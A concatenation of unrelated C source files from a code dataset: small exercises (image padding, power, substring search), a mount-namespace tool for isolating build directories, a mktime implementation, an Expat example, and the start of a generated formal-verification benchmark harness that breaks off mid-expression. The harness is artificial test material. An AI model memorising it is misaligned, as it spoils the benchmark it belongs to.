return 0;
}
|
the_stack_data/429826.c | #include<stdio.h>
#include<stdlib.h>
// Creating a new type images_t to store the information
typedef struct images{
int height, width;
int **pixels;
}images_t;
// Function definition
images_t *create_image();
void read_image(images_t*);
images_t *input_padding(images_t*, int);
void print_image(images_t*);
void erase_image(images_t*);
// Main function
int main(void){
int height, width, padding;
scanf("%d %d", &width, &height);
images_t *original_image = create_image(height, width);
read_image(original_image);
scanf("%d", &padding);
images_t *padding_image = input_padding(original_image, padding);
print_image(padding_image);
printf("\n");
print_image(original_image);
erase_image(original_image);
erase_image(padding_image);
return 0;
}
// Allocates memory for an imagea_t and its members
images_t *create_image(int height, int width){
images_t *img = (images_t*)malloc(sizeof(images_t));
img->height = height;
img->width = width;
img->pixels = (int**)calloc(height, sizeof(int*));
for(int i = 0; i < height; i++){
img->pixels[i] = (int*)calloc(width, sizeof(int));
}
return img;
}
// Reads img.height * img.width integers from stdin and stores them into img
void read_image(images_t *img){
for(int i = 0; i < img->height; i++){
for(int j = 0; j < img->width; j++){
scanf("%d", &img->pixels[i][j]);
}
}
}
// Creates a new image, equals the original one, but with padding of size padding
images_t *input_padding(images_t *img, int padding){
int double_padding = padding * 2;
images_t *img_padding = create_image(double_padding + img->height, double_padding + img->width);
for(int i = 0; i < img->height; i++){
for(int j = 0; j < img->width; j++){
img_padding->pixels[i + padding][j + padding] = img->pixels[i][j];
}
}
return img_padding;
}
// Deallocates memory allocated for an images_t
void erase_image(images_t *image){
for(int i = 0; i < image->height; i++){
free(image->pixels[i]);
}
free(image->pixels);
free(image);
}
// Prints the pixels stored in the img
void print_image(images_t *img){
for(int i = 0; i < img->height; i++){
for(int j = 0; j < img->width; j++){
printf("%d ", img->pixels[i][j]);
}
printf("\n");
}
} |
the_stack_data/486064.c | #include "stdio.h"
double power(double x, unsigned y) {
double res = x;
unsigned i;
for (i = 1; i<y; i++) res *= x;
return res;
}
int main() {
printf("%f", power(2, 3));
return 0;
}
|
the_stack_data/125139412.c | int XXX(char * haystack, char * needle){
int count = 0, k = 0;
int h_len = strlen(haystack), n_len = strlen(needle);
if(n_len <= 0) return 0;
while(count <= (h_len - n_len)) {
while(k < n_len) {
if(haystack[count + k] != needle[k]) {
k = 0;
break;
}
k++;
}
if(k != 0) {
return count;
}
else {
count++;
}
}
return -1;
}
|
the_stack_data/37636848.c | /*
============================================================================
Name : isolate.c
Author : Chas Honton
Version :
Copyright : (c) 2015, Charles Honton
Description : isolate build directories
============================================================================
*/
#define _GNU_SOURCE
#include <sched.h>
#include <sys/stat.h>
#include <sys/mount.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <wordexp.h>
static int isDir(char *path) {
struct stat s;
if(stat(path, &s)) {
perror ("stat");
return 0;
}
if(!S_ISDIR(s.st_mode)) {
fprintf(stderr, "%s is not a directory\n", path);
return 0;
}
if(access(path, W_OK)) {
fprintf(stderr, "unable to write to %s\n", path);
return 0;
}
return 1;
}
static char *appendCwd(char *path) {
if (*path=='/') {
return strdup(path);
}
char *cwd = getcwd(NULL, 0);
fprintf(stderr, "pwd = %s\n", cwd);
int lc = strlen(cwd);
char *absPath = malloc(lc+strlen(path)+2);
strcpy(absPath, cwd);
char *w = absPath + lc;
free(cwd);
*w++= '/';
strcpy(w, path);
return absPath;
}
static char *abspath(char *file_name) {
char *path;
wordexp_t p;
if (wordexp(file_name, &p, 0)==0) {
path = appendCwd(p.we_wordv[0]);
wordfree(&p);
} else {
path = appendCwd(file_name);
}
char *resolved= realpath(path, NULL);
if(!resolved){
perror(0);
fprintf(stderr, "unable to canonicalize %s\n", file_name);
}
return resolved;
}
int main(int argc, char *argv[]) {
if(unshare(CLONE_NEWNS)) {
perror ("unshare");
fprintf(stderr, "This program needs sys_admin capability to mount directories:\nsudo setcap cap_sys_admin+ep %s\n", *argv);
return EXIT_FAILURE;
}
if(mount("", "/", "", MS_REC|MS_SLAVE, "")) {
perror ("mount");
fprintf(stderr, "unable to isolate mounts\n");
return EXIT_FAILURE;
}
int mounts = 0;
char **arg;
for(arg= argv+1; *arg; ++arg) {
char *t = *arg;
char *s = strchr(t, '=');
if(!s) {
break;
}
*s++= 0;
char *source = abspath(s);
if(!source) {
return EXIT_FAILURE;
}
if(!isDir(source)) {
return EXIT_FAILURE;
}
char *target = abspath(t);
if(!target) {
return EXIT_FAILURE;
}
if(!isDir(target)) {
return EXIT_FAILURE;
}
if(mount(source, target, "", MS_BIND, NULL)) {
perror ("mount");
fprintf(stderr, "unable to mount %s at %s\n", source, target);
return EXIT_FAILURE;
}
++mounts;
fprintf(stdout, "mounted %s at %s\n", source, target);
}
if (!mounts || !*arg) {
fprintf(stderr, "Usage: %s [targetDir=sourceDir]+ program [arg...]\n", *argv);
return EXIT_FAILURE;
}
execvp(*arg, arg);
perror ("execvp");
return EXIT_FAILURE;
}
|
the_stack_data/23899.c | #include <stdio.h>
int main(){
// Un puntero es una dirreción a un espacio de memoria
int i = 50;
int d = i;
d = 500;
int* pi = &i;
*pi = 100;
printf("i: %i\n", i);
printf("d: %i\n", d);
printf("%i\n", *pi);
} |
the_stack_data/179829750.c | /*
* mktime.c -- converts a struct tm into a time_t
*
* Copyright (C) 1997 Free Software Foundation, Inc.
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free
* Software Foundation; either version 2, or (at your option) any later
* version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
* FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for
* more details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59
* Temple Place - Suite 330, Boston, MA 02111-1307, USA.
*/
/* Written by Philippe De Muyter <[email protected]>. */
#include <time.h>
static time_t
mkgmtime(t)
register struct tm *t;
{
register short month, year;
register time_t result;
static int m_to_d[12] =
{0, 31, 59, 90, 120, 151, 181, 212, 243, 273, 304, 334};
month = t->tm_mon;
year = t->tm_year + month / 12 + 1900;
month %= 12;
if (month < 0)
{
year -= 1;
month += 12;
}
result = (year - 1970) * 365 + (year - 1969) / 4 + m_to_d[month];
result = (year - 1970) * 365 + m_to_d[month];
if (month <= 1)
year -= 1;
result += (year - 1968) / 4;
result -= (year - 1900) / 100;
result += (year - 1600) / 400;
result += t->tm_mday;
result -= 1;
result *= 24;
result += t->tm_hour;
result *= 60;
result += t->tm_min;
result *= 60;
result += t->tm_sec;
return(result);
}
/*
** mktime -- convert tm struct to time_t
** if tm_isdst >= 0 use it, else compute it
*/
time_t
mktime(t)
struct tm *t;
{
time_t result;
tzset();
result = mkgmtime(t) + timezone;
if (t->tm_isdst > 0
|| (t->tm_isdst < 0 && localtime(&result)->tm_isdst))
result -= 3600;
return(result);
}
|
the_stack_data/15762631.c | /* This is simple demonstration of how to use expat. This program
reads an XML document from standard input and writes a line with
the name of each element to standard output indenting child
elements by one tab stop more than their parent element.
It must be used with Expat compiled for UTF-8 output.
__ __ _
___\ \/ /_ __ __ _| |_
/ _ \\ /| '_ \ / _` | __|
| __// \| |_) | (_| | |_
\___/_/\_\ .__/ \__,_|\__|
|_| XML parser
Copyright (c) 1997-2000 Thai Open Source Software Center Ltd
Copyright (c) 2000-2017 Expat development team
Licensed under the MIT license:
Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
"Software"), to deal in the Software without restriction, including
without limitation the rights to use, copy, modify, merge, publish,
distribute, sublicense, and/or sell copies of the Software, and to permit
persons to whom the Software is furnished to do so, subject to the
following conditions:
The above copyright notice and this permission notice shall be included
in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN
NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM,
DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR
OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE
USE OR OTHER DEALINGS IN THE SOFTWARE.
*/
#include <stdio.h>
#include <expat.h>
#ifdef XML_LARGE_SIZE
# define XML_FMT_INT_MOD "ll"
#else
# define XML_FMT_INT_MOD "l"
#endif
#ifdef XML_UNICODE_WCHAR_T
# include <wchar.h>
# define XML_FMT_STR "ls"
#else
# define XML_FMT_STR "s"
#endif
static void XMLCALL
startElement(void *userData, const XML_Char *name, const XML_Char **atts) {
int i;
int *depthPtr = (int *)userData;
(void)atts;
for (i = 0; i < *depthPtr; i++)
putchar('\t');
printf("%" XML_FMT_STR "\n", name);
*depthPtr += 1;
}
static void XMLCALL
endElement(void *userData, const XML_Char *name) {
int *depthPtr = (int *)userData;
(void)name;
*depthPtr -= 1;
}
int
main(int argc, char *argv[]) {
char buf[BUFSIZ];
XML_Parser parser = XML_ParserCreate(NULL);
int done;
int depth = 0;
(void)argc;
(void)argv;
XML_SetUserData(parser, &depth);
XML_SetElementHandler(parser, startElement, endElement);
do {
size_t len = fread(buf, 1, sizeof(buf), stdin);
done = len < sizeof(buf);
if (XML_Parse(parser, buf, (int)len, done) == XML_STATUS_ERROR) {
fprintf(stderr, "%" XML_FMT_STR " at line %" XML_FMT_INT_MOD "u\n",
XML_ErrorString(XML_GetErrorCode(parser)),
XML_GetCurrentLineNumber(parser));
XML_ParserFree(parser);
return 1;
}
} while (! done);
XML_ParserFree(parser);
return 0;
}
|
the_stack_data/1012000.c | extern float __VERIFIER_nondet_float(void);
extern int __VERIFIER_nondet_int(void);
typedef enum {false, true} bool;
bool __VERIFIER_nondet_bool(void) {
return __VERIFIER_nondet_int() != 0;
}
int main()
{
bool p19_l1, _x_p19_l1;
bool p22_evt, _x_p22_evt;
float _diverge_delta, _x__diverge_delta;
bool p19_l0, _x_p19_l0;
float delta, _x_delta;
bool p19_l2, _x_p19_l2;
int v1, _x_v1;
bool p23_evt, _x_p23_evt;
bool p19_l3, _x_p19_l3;
bool p24_evt, _x_p24_evt;
bool p25_evt, _x_p25_evt;
bool p26_evt, _x_p26_evt;
bool v2, _x_v2;
bool p9_l1, _x_p9_l1;
float p19_c, _x_p19_c;
bool p9_l0, _x_p9_l0;
bool p9_l2, _x_p9_l2;
bool p9_l3, _x_p9_l3;
float p9_c, _x_p9_c;
bool p20_l1, _x_p20_l1;
bool p20_l0, _x_p20_l0;
bool p20_l2, _x_p20_l2;
bool p20_l3, _x_p20_l3;
bool p10_l1, _x_p10_l1;
float p20_c, _x_p20_c;
bool p10_l0, _x_p10_l0;
bool p10_l2, _x_p10_l2;
bool p10_l3, _x_p10_l3;
bool p0_l1, _x_p0_l1;
float p10_c, _x_p10_c;
bool p0_l0, _x_p0_l0;
bool p0_l2, _x_p0_l2;
bool p21_l1, _x_p21_l1;
bool p21_l0, _x_p21_l0;
bool p0_l3, _x_p0_l3;
bool p21_l2, _x_p21_l2;
bool p21_l3, _x_p21_l3;
float p0_c, _x_p0_c;
bool p11_l1, _x_p11_l1;
float p21_c, _x_p21_c;
bool p11_l0, _x_p11_l0;
bool p11_l2, _x_p11_l2;
bool p11_l3, _x_p11_l3;
bool p1_l1, _x_p1_l1;
float p11_c, _x_p11_c;
bool p1_l0, _x_p1_l0;
bool p22_l1, _x_p22_l1;
bool p1_l2, _x_p1_l2;
bool p22_l0, _x_p22_l0;
bool p1_l3, _x_p1_l3;
bool p22_l2, _x_p22_l2;
bool p22_l3, _x_p22_l3;
float p1_c, _x_p1_c;
bool p12_l1, _x_p12_l1;
float p22_c, _x_p22_c;
bool p12_l0, _x_p12_l0;
bool p12_l2, _x_p12_l2;
bool p12_l3, _x_p12_l3;
bool p2_l1, _x_p2_l1;
float p12_c, _x_p12_c;
bool p2_l0, _x_p2_l0;
bool p23_l1, _x_p23_l1;
bool p2_l2, _x_p2_l2;
bool p23_l0, _x_p23_l0;
bool p2_l3, _x_p2_l3;
bool p23_l2, _x_p23_l2;
bool p23_l3, _x_p23_l3;
float p2_c, _x_p2_c;
bool p13_l1, _x_p13_l1;
float p23_c, _x_p23_c;
bool p13_l0, _x_p13_l0;
bool p13_l2, _x_p13_l2;
bool p13_l3, _x_p13_l3;
bool p3_l1, _x_p3_l1;
float p13_c, _x_p13_c;
bool p3_l0, _x_p3_l0;
bool p24_l1, _x_p24_l1;
bool p3_l2, _x_p3_l2;
bool p24_l0, _x_p24_l0;
bool p3_l3, _x_p3_l3;
bool p24_l2, _x_p24_l2;
bool p24_l3, _x_p24_l3;
float p3_c, _x_p3_c;
bool p14_l1, _x_p14_l1;
float p24_c, _x_p24_c;
bool p14_l0, _x_p14_l0;
bool p14_l2, _x_p14_l2;
bool p14_l3, _x_p14_l3;
bool p4_l1, _x_p4_l1;
float p14_c, _x_p14_c;
bool p4_l0, _x_p4_l0;
bool p25_l1, _x_p25_l1;
bool p4_l2, _x_p4_l2;
bool p25_l0, _x_p25_l0;
bool p4_l3, _x_p4_l3;
bool p25_l2, _x_p25_l2;
bool p25_l3, _x_p25_l3;
float p4_c, _x_p4_c;
bool p15_l1, _x_p15_l1;
float p25_c, _x_p25_c;
bool p15_l0, _x_p15_l0;
bool p15_l2, _x_p15_l2;
bool p15_l3, _x_p15_l3;
bool p5_l1, _x_p5_l1;
float p15_c, _x_p15_c;
bool p5_l0, _x_p5_l0;
bool p26_l1, _x_p26_l1;
bool p5_l2, _x_p5_l2;
bool p26_l0, _x_p26_l0;
bool p5_l3, _x_p5_l3;
bool p26_l2, _x_p26_l2;
bool p26_l3, _x_p26_l3;
float p5_c, _x_p5_c;
bool p16_l1, _x_p16_l1;
float p26_c, _x_p26_c;
bool p16_l0, _x_p16_l0;
bool p16_l2, _x_p16_l2;
bool p16_l3, _x_p16_l3;
bool p6_l1, _x_p6_l1;
float p16_c, _x_p16_c;
bool p6_l0, _x_p6_l0;
bool p6_l2, _x_p6_l2;
bool _J5988, _x__J5988;
bool p6_l3, _x_p6_l3;
bool _J5982, _x__J5982;
bool _J5975, _x__J5975;
bool _J5969, _x__J5969;
bool _J5964, _x__J5964;
bool _J5958, _x__J5958;
bool _EL_U_5921, _x__EL_U_5921;
float p6_c, _x_p6_c;
bool _EL_U_5923, _x__EL_U_5923;
bool _EL_U_5925, _x__EL_U_5925;
bool p17_l1, _x_p17_l1;
bool _EL_U_5927, _x__EL_U_5927;
bool p17_l0, _x_p17_l0;
bool _EL_U_5929, _x__EL_U_5929;
bool p17_l2, _x_p17_l2;
bool _EL_U_5931, _x__EL_U_5931;
bool p17_l3, _x_p17_l3;
bool p7_l1, _x_p7_l1;
float p17_c, _x_p17_c;
bool p7_l0, _x_p7_l0;
bool p7_l2, _x_p7_l2;
bool p7_l3, _x_p7_l3;
bool p1_evt, _x_p1_evt;
bool p0_evt, _x_p0_evt;
bool p2_evt, _x_p2_evt;
bool p3_evt, _x_p3_evt;
bool p4_evt, _x_p4_evt;
float p7_c, _x_p7_c;
bool p5_evt, _x_p5_evt;
bool p18_l1, _x_p18_l1;
bool p6_evt, _x_p6_evt;
bool p18_l0, _x_p18_l0;
bool p7_evt, _x_p7_evt;
bool p18_l2, _x_p18_l2;
bool p8_evt, _x_p8_evt;
bool p18_l3, _x_p18_l3;
bool p9_evt, _x_p9_evt;
bool p10_evt, _x_p10_evt;
bool p11_evt, _x_p11_evt;
bool p12_evt, _x_p12_evt;
bool p8_l1, _x_p8_l1;
float p18_c, _x_p18_c;
bool p8_l0, _x_p8_l0;
bool p13_evt, _x_p13_evt;
bool p14_evt, _x_p14_evt;
bool p8_l2, _x_p8_l2;
bool p15_evt, _x_p15_evt;
bool p8_l3, _x_p8_l3;
bool p16_evt, _x_p16_evt;
bool p17_evt, _x_p17_evt;
bool p18_evt, _x_p18_evt;
bool p19_evt, _x_p19_evt;
bool p20_evt, _x_p20_evt;
float p8_c, _x_p8_c;
bool p21_evt, _x_p21_evt;
int __steps_to_fair = __VERIFIER_nondet_int();
p19_l1 = __VERIFIER_nondet_bool();
p22_evt = __VERIFIER_nondet_bool();
_diverge_delta = __VERIFIER_nondet_float();
p19_l0 = __VERIFIER_nondet_bool();
delta = __VERIFIER_nondet_float();
p19_l2 = __VERIFIER_nondet_bool();
v1 = __VERIFIER_nondet_int();
p23_evt = __VERIFIER_nondet_bool();
p19_l3 = __VERIFIER_nondet_bool();
p24_evt = __VERIFIER_nondet_bool();
p25_evt = __VERIFIER_nondet_bool();
p26_evt = __VERIFIER_nondet_bool();
v2 = __VERIFIER_nondet_bool();
p9_l1 = __VERIFIER_nondet_bool();
p19_c = __VERIFIER_nondet_float();
p9_l0 = __VERIFIER_nondet_bool();
p9_l2 = __VERIFIER_nondet_bool();
p9_l3 = __VERIFIER_nondet_bool();
p9_c = __VERIFIER_nondet_float();
p20_l1 = __VERIFIER_nondet_bool();
p20_l0 = __VERIFIER_nondet_bool();
p20_l2 = __VERIFIER_nondet_bool();
p20_l3 = __VERIFIER_nondet_bool();
p10_l1 = __VERIFIER_nondet_bool();
p20_c = __VERIFIER_nondet_float();
p10_l0 = __VERIFIER_nondet_bool();
p10_l2 = __VERIFIER_nondet_bool();
p10_l3 = __VERIFIER_nondet_bool();
p0_l1 = __VERIFIER_nondet_bool();
p10_c = __VERIFIER_nondet_float();
p0_l0 = __VERIFIER_nondet_bool();
p0_l2 = __VERIFIER_nondet_bool();
p21_l1 = __VERIFIER_nondet_bool();
p21_l0 = __VERIFIER_nondet_bool();
p0_l3 = __VERIFIER_nondet_bool();
p21_l2 = __VERIFIER_nondet_bool();
p21_l3 = __VERIFIER_nondet_bool();
p0_c = __VERIFIER_nondet_float();
p11_l1 = __VERIFIER_nondet_bool();
p21_c = __VERIFIER_nondet_float();
p11_l0 = __VERIFIER_nondet_bool();
p11_l2 = __VERIFIER_nondet_bool();
p11_l3 = __VERIFIER_nondet_bool();
p1_l1 = __VERIFIER_nondet_bool();
p11_c = __VERIFIER_nondet_float();
p1_l0 = __VERIFIER_nondet_bool();
p22_l1 = __VERIFIER_nondet_bool();
p1_l2 = __VERIFIER_nondet_bool();
p22_l0 = __VERIFIER_nondet_bool();
p1_l3 = __VERIFIER_nondet_bool();
p22_l2 = __VERIFIER_nondet_bool();
p22_l3 = __VERIFIER_nondet_bool();
p1_c = __VERIFIER_nondet_float();
p12_l1 = __VERIFIER_nondet_bool();
p22_c = __VERIFIER_nondet_float();
p12_l0 = __VERIFIER_nondet_bool();
p12_l2 = __VERIFIER_nondet_bool();
p12_l3 = __VERIFIER_nondet_bool();
p2_l1 = __VERIFIER_nondet_bool();
p12_c = __VERIFIER_nondet_float();
p2_l0 = __VERIFIER_nondet_bool();
p23_l1 = __VERIFIER_nondet_bool();
p2_l2 = __VERIFIER_nondet_bool();
p23_l0 = __VERIFIER_nondet_bool();
p2_l3 = __VERIFIER_nondet_bool();
p23_l2 = __VERIFIER_nondet_bool();
p23_l3 = __VERIFIER_nondet_bool();
p2_c = __VERIFIER_nondet_float();
p13_l1 = __VERIFIER_nondet_bool();
p23_c = __VERIFIER_nondet_float();
p13_l0 = __VERIFIER_nondet_bool();
p13_l2 = __VERIFIER_nondet_bool();
p13_l3 = __VERIFIER_nondet_bool();
p3_l1 = __VERIFIER_nondet_bool();
p13_c = __VERIFIER_nondet_float();
p3_l0 = __VERIFIER_nondet_bool();
p24_l1 = __VERIFIER_nondet_bool();
p3_l2 = __VERIFIER_nondet_bool();
p24_l0 = __VERIFIER_nondet_bool();
p3_l3 = __VERIFIER_nondet_bool();
p24_l2 = __VERIFIER_nondet_bool();
p24_l3 = __VERIFIER_nondet_bool();
p3_c = __VERIFIER_nondet_float();
p14_l1 = __VERIFIER_nondet_bool();
p24_c = __VERIFIER_nondet_float();
p14_l0 = __VERIFIER_nondet_bool();
p14_l2 = __VERIFIER_nondet_bool();
p14_l3 = __VERIFIER_nondet_bool();
p4_l1 = __VERIFIER_nondet_bool();
p14_c = __VERIFIER_nondet_float();
p4_l0 = __VERIFIER_nondet_bool();
p25_l1 = __VERIFIER_nondet_bool();
p4_l2 = __VERIFIER_nondet_bool();
p25_l0 = __VERIFIER_nondet_bool();
p4_l3 = __VERIFIER_nondet_bool();
p25_l2 = __VERIFIER_nondet_bool();
p25_l3 = __VERIFIER_nondet_bool();
p4_c = __VERIFIER_nondet_float();
p15_l1 = __VERIFIER_nondet_bool();
p25_c = __VERIFIER_nondet_float();
p15_l0 = __VERIFIER_nondet_bool();
p15_l2 = __VERIFIER_nondet_bool();
p15_l3 = __VERIFIER_nondet_bool();
p5_l1 = __VERIFIER_nondet_bool();
p15_c = __VERIFIER_nondet_float();
p5_l0 = __VERIFIER_nondet_bool();
p26_l1 = __VERIFIER_nondet_bool();
p5_l2 = __VERIFIER_nondet_bool();
p26_l0 = __VERIFIER_nondet_bool();
p5_l3 = __VERIFIER_nondet_bool();
p26_l2 = __VERIFIER_nondet_bool();
p26_l3 = __VERIFIER_nondet_bool();
p5_c = __VERIFIER_nondet_float();
p16_l1 = __VERIFIER_nondet_bool();
p26_c = __VERIFIER_nondet_float();
p16_l0 = __VERIFIER_nondet_bool();
p16_l2 = __VERIFIER_nondet_bool();
p16_l3 = __VERIFIER_nondet_bool();
p6_l1 = __VERIFIER_nondet_bool();
p16_c = __VERIFIER_nondet_float();
p6_l0 = __VERIFIER_nondet_bool();
p6_l2 = __VERIFIER_nondet_bool();
_J5988 = __VERIFIER_nondet_bool();
p6_l3 = __VERIFIER_nondet_bool();
_J5982 = __VERIFIER_nondet_bool();
_J5975 = __VERIFIER_nondet_bool();
_J5969 = __VERIFIER_nondet_bool();
_J5964 = __VERIFIER_nondet_bool();
_J5958 = __VERIFIER_nondet_bool();
_EL_U_5921 = __VERIFIER_nondet_bool();
p6_c = __VERIFIER_nondet_float();
_EL_U_5923 = __VERIFIER_nondet_bool();
_EL_U_5925 = __VERIFIER_nondet_bool();
p17_l1 = __VERIFIER_nondet_bool();
_EL_U_5927 = __VERIFIER_nondet_bool();
p17_l0 = __VERIFIER_nondet_bool();
_EL_U_5929 = __VERIFIER_nondet_bool();
p17_l2 = __VERIFIER_nondet_bool();
_EL_U_5931 = __VERIFIER_nondet_bool();
p17_l3 = __VERIFIER_nondet_bool();
p7_l1 = __VERIFIER_nondet_bool();
p17_c = __VERIFIER_nondet_float();
p7_l0 = __VERIFIER_nondet_bool();
p7_l2 = __VERIFIER_nondet_bool();
p7_l3 = __VERIFIER_nondet_bool();
p1_evt = __VERIFIER_nondet_bool();
p0_evt = __VERIFIER_nondet_bool();
p2_evt = __VERIFIER_nondet_bool();
p3_evt = __VERIFIER_nondet_bool();
p4_evt = __VERIFIER_nondet_bool();
p7_c = __VERIFIER_nondet_float();
p5_evt = __VERIFIER_nondet_bool();
p18_l1 = __VERIFIER_nondet_bool();
p6_evt = __VERIFIER_nondet_bool();
p18_l0 = __VERIFIER_nondet_bool();
p7_evt = __VERIFIER_nondet_bool();
p18_l2 = __VERIFIER_nondet_bool();
p8_evt = __VERIFIER_nondet_bool();
p18_l3 = __VERIFIER_nondet_bool();
p9_evt = __VERIFIER_nondet_bool();
p10_evt = __VERIFIER_nondet_bool();
p11_evt = __VERIFIER_nondet_bool();
p12_evt = __VERIFIER_nondet_bool();
p8_l1 = __VERIFIER_nondet_bool();
p18_c = __VERIFIER_nondet_float();
p8_l0 = __VERIFIER_nondet_bool();
p13_evt = __VERIFIER_nondet_bool();
p14_evt = __VERIFIER_nondet_bool();
p8_l2 = __VERIFIER_nondet_bool();
p15_evt = __VERIFIER_nondet_bool();
p8_l3 = __VERIFIER_nondet_bool();
p16_evt = __VERIFIER_nondet_bool();
p17_evt = __VERIFIER_nondet_bool();
p18_evt = __VERIFIER_nondet_bool();
p19_evt = __VERIFIER_nondet_bool();
p20_evt = __VERIFIER_nondet_bool();
p8_c = __VERIFIER_nondet_float();
p21_evt = __VERIFIER_nondet_bool();
bool __ok = (((((((( !p26_l3) && (( !p26_l2) && (( !p26_l0) && ( !p26_l1)))) && (p26_c == 0.0)) && ((p26_l3 && (( !p26_l2) && (( !p26_l0) && ( !p26_l1)))) || ((( !p26_l3) && (p26_l2 && (p26_l0 && p26_l1))) || ((( !p26_l3) && (p26_l2 && (p26_l1 && ( !p26_l0)))) || ((( !p26_l3) && (p26_l2 && (p26_l0 && ( !p26_l1)))) || ((( !p26_l3) && (p26_l2 && (( !p26_l0) && ( !p26_l1)))) || ((( !p26_l3) && (( !p26_l2) && (p26_l0 && p26_l1))) || ((( !p26_l3) && (( !p26_l2) && (p26_l1 && ( !p26_l0)))) || ((( !p26_l3) && (( !p26_l2) && (( !p26_l0) && ( !p26_l1)))) || (( !p26_l3) && (( !p26_l2) && (p26_l0 && ( !p26_l1))))))))))))) && ((p26_c <= 16.0) || ( !(((( !p26_l3) && (( !p26_l2) && (p26_l0 && ( !p26_l1)))) || (( !p26_l3) && (p26_l2 && (( !p26_l0) && ( !p26_l1))))) || ((( !p26_l3) && (p26_l2 && (p26_l0 && p26_l1))) || (p26_l3 && (( !p26_l2) && (( !p26_l0) && ( !p26_l1))))))))) && (((((( !p25_l3) && (( !p25_l2) && (( !p25_l0) && ( !p25_l1)))) && (p25_c == 0.0)) && ((p25_l3 && (( !p25_l2) && (( !p25_l0) && ( !p25_l1)))) || ((( !p25_l3) && (p25_l2 && (p25_l0 && p25_l1))) || ((( !p25_l3) && (p25_l2 && (p25_l1 && ( !p25_l0)))) || ((( !p25_l3) && (p25_l2 && (p25_l0 && ( !p25_l1)))) || ((( !p25_l3) && (p25_l2 && (( !p25_l0) && ( !p25_l1)))) || ((( !p25_l3) && (( !p25_l2) && (p25_l0 && p25_l1))) || ((( !p25_l3) && (( !p25_l2) && (p25_l1 && ( !p25_l0)))) || ((( !p25_l3) && (( !p25_l2) && (( !p25_l0) && ( !p25_l1)))) || (( !p25_l3) && (( !p25_l2) && (p25_l0 && ( !p25_l1))))))))))))) && ((p25_c <= 16.0) || ( !(((( !p25_l3) && (( !p25_l2) && (p25_l0 && ( !p25_l1)))) || (( !p25_l3) && (p25_l2 && (( !p25_l0) && ( !p25_l1))))) || ((( !p25_l3) && (p25_l2 && (p25_l0 && p25_l1))) || (p25_l3 && (( !p25_l2) && (( !p25_l0) && ( !p25_l1))))))))) && (((((( !p24_l3) && (( !p24_l2) && (( !p24_l0) && ( !p24_l1)))) && (p24_c == 0.0)) && ((p24_l3 && (( !p24_l2) && (( !p24_l0) && ( !p24_l1)))) || ((( !p24_l3) && (p24_l2 && (p24_l0 && p24_l1))) || ((( !p24_l3) && (p24_l2 && (p24_l1 && ( !p24_l0)))) || ((( !p24_l3) && (p24_l2 && (p24_l0 && ( !p24_l1)))) || ((( !p24_l3) && (p24_l2 && (( !p24_l0) && ( !p24_l1)))) || ((( !p24_l3) && (( !p24_l2) && (p24_l0 && p24_l1))) || ((( !p24_l3) && (( !p24_l2) && (p24_l1 && ( !p24_l0)))) || ((( !p24_l3) && (( !p24_l2) && (( !p24_l0) && ( !p24_l1)))) || (( !p24_l3) && (( !p24_l2) && (p24_l0 && ( !p24_l1))))))))))))) && ((p24_c <= 16.0) || ( !(((( !p24_l3) && (( !p24_l2) && (p24_l0 && ( !p24_l1)))) || (( !p24_l3) && (p24_l2 && (( !p24_l0) && ( !p24_l1))))) || ((( !p24_l3) && (p24_l2 && (p24_l0 && p24_l1))) || (p24_l3 && (( !p24_l2) && (( !p24_l0) && ( !p24_l1))))))))) && (((((( !p23_l3) && (( !p23_l2) && (( !p23_l0) && ( !p23_l1)))) && (p23_c == 0.0)) && ((p23_l3 && (( !p23_l2) && (( !p23_l0) && ( !p23_l1)))) || ((( !p23_l3) && (p23_l2 && (p23_l0 && p23_l1))) || ((( !p23_l3) && (p23_l2 && (p23_l1 && ( !p23_l0)))) || ((( !p23_l3) && (p23_l2 && (p23_l0 && ( !p23_l1)))) || ((( !p23_l3) && (p23_l2 && (( !p23_l0) && ( !p23_l1)))) || ((( !p23_l3) && (( !p23_l2) && (p23_l0 && p23_l1))) || ((( !p23_l3) && (( !p23_l2) && (p23_l1 && ( !p23_l0)))) || ((( !p23_l3) && (( !p23_l2) && (( !p23_l0) && ( !p23_l1)))) || (( !p23_l3) && (( !p23_l2) && (p23_l0 && ( !p23_l1))))))))))))) && ((p23_c <= 16.0) || ( !(((( !p23_l3) && (( !p23_l2) && (p23_l0 && ( !p23_l1)))) || (( !p23_l3) && (p23_l2 && (( !p23_l0) && ( !p23_l1))))) || ((( !p23_l3) && (p23_l2 && (p23_l0 && p23_l1))) || (p23_l3 && (( !p23_l2) && (( !p23_l0) && ( !p23_l1))))))))) && (((((( !p22_l3) && (( !p22_l2) && (( !p22_l0) && ( !p22_l1)))) && (p22_c == 0.0)) && ((p22_l3 && (( !p22_l2) && (( !p22_l0) && ( !p22_l1)))) || ((( !p22_l3) && (p22_l2 && (p22_l0 && p22_l1))) || ((( !p22_l3) && (p22_l2 && (p22_l1 && ( !p22_l0)))) || ((( !p22_l3) && (p22_l2 && (p22_l0 && ( !p22_l1)))) || ((( !p22_l3) && (p22_l2 && (( !p22_l0) && ( !p22_l1)))) || ((( !p22_l3) && (( !p22_l2) && (p22_l0 && p22_l1))) || ((( !p22_l3) && (( !p22_l2) && (p22_l1 && ( !p22_l0)))) || ((( !p22_l3) && (( !p22_l2) && (( !p22_l0) && ( !p22_l1)))) || (( !p22_l3) && (( !p22_l2) && (p22_l0 && ( !p22_l1))))))))))))) && ((p22_c <= 16.0) || ( !(((( !p22_l3) && (( !p22_l2) && (p22_l0 && ( !p22_l1)))) || (( !p22_l3) && (p22_l2 && (( !p22_l0) && ( !p22_l1))))) || ((( 